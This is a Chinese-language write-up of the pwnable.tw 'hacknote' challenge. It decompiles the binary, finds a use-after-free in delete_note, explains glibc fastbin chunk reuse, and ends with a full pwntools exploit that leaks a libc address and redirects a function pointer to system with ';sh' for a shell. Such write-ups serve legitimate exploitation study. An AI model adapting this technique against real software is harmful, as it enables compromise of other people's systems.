pwnable.tw_hacknote

pwnable.tw_challenge_hacknote

打开程序
查看功能:

1
2
3
4
5
6
7
8
9
10
./hacknote
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :

这里可以增加删除打印note信息
载入IDA分析:

0x01 add_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = putnote;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

可以看到这里malloc了一个结构体:

1
2
3
4
struct note{
*putnote; //指向用于输出note内容的函数( *(_DWORD *)ptr[i] = putnote;)
*text; //指向note对应的内容(read(0, *((void **)ptr[i] + 1), size);)
}

而后根据size再申请新的空间:

1
2
v0 = ptr[i];
v0[1] = malloc(size);//申请存储note内容的地址

0x02 print_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
return __readgsdword(0x14u) ^ v3;
}

可以看到这里调用结构体第一个位置的地址所指的函数
参数就是结构体本身

0x03 delete_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int delete_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

可以看到这里只是用free释放
但没有将指针置空为NULL
产生一个迷途指针
这里便可利用这个指针来造成堆溢出来获得shell

0x04 malloc分配机制

1
2
3
4
#define request2size(req)                                         \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

SIZE_SZ:

1
sizeof(size_t)   //32位->4字节,64位->8字节

MINSIZE:

1
2
#define MINSIZE  \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

MIN_CHUNK_SIZE为一个chunk结构体的大小:为16字节

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

MALLOC_ALIGNMENT为2*SIZE_SZ
MALLOC_ALIGN_MASK 为2*SIZE_SZ-1
由此即可通过最开始的request2size(req) 计算出系统分配出的内存大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
例如,32位时:
MINSIZE:(16+2*4-1)&~(2*4-1)=16
申请字节:
1-4字节:(req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE
系统分配:
MINSIZE=16字节
申请字节:
5-12字节:(req) + SIZE_SZ + MALLOC_ALIGN_MASK >=MINSIZE
系统分配:
(req) + SIZE_SZ + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK=16字节
申请字节:
13字节
系统分配:
(req) + SIZE_SZ + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK=24字节
//可以看到分配相邻上下大小之差为系统指针大小(32位8字节,64位16字节)

又因fastbin采用LIFO原则(其会在空表从后往前寻找首先合适的堆块)
故而我们需要先申请两个note
再利用delete制造迷途指针并利用堆溢出覆盖堆中数据从而拿到shell

0x05 漏洞利用

首先看到:

1
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);

当我们print_note时,会调用结构体中第一个地址指向的函数
函数参数就是结构体自身
我们需要溢出覆盖掉一个之前申请过的结构体
将结构体第一个函数地址修改(获得shell,需要覆盖为system的地址)
而一个结构体16个字节,system的参数即为结构体本身
这里需要使用system的参数截断
例如使用:

1
"||sh"或者";sh"

这里可以利用malloc的分配机制
首先申请两个note,长度>12(例,申请16字节)
这时候堆内:

1
16->24->16->24

而后使用delete_note来free这4个空间
当我们再次add_note一个16字节的note时
根据fastbin的LIFO原则
从后往前第一个满足的空间便是第一个空间(第三个空间处覆盖为结构体)
即:note的文本内容会修改原本0号结构体
如果我们修改结构体中*text内容为.got.plt中的一个地址
那么print_note第0号即会打印出函数加载后的真实地址
再根据其在libc库中的偏移求出程序加载动态库的基址
进而计算出system函数地址
再继续修改一次结构体数据为system的地址(参数截断上面已说明)
重新print_note来调用修改后结构体中地址对应的system函数
进而获取shell

0x06 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

def add_note(size,content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(size)
p.recvuntil("Content :")
p.sendline(content)

def delete_note(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(index)

def print_note(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(index)

p=remote("chall.pwnable.tw", 10102)
elf=ELF("./hacknote")
elib=ELF("./libc_32.so.6")
read_got=elf.got["read"]
putnote=0x804862b
add_note("16",15*"a")
add_note("16",15*"a")
delete_note('0')
delete_note('1')
add_note('8',p32(putnote)+p32(read_got))
print_note('0')
read_addr=u32(p.recv()[:4])
sys_addr=read_addr-elib.symbols["read"]+elib.symbols["system"]
delete_note('2')
add_note('8',p32(sys_addr)+";sh\x00")
print_note('0')
p.interactive()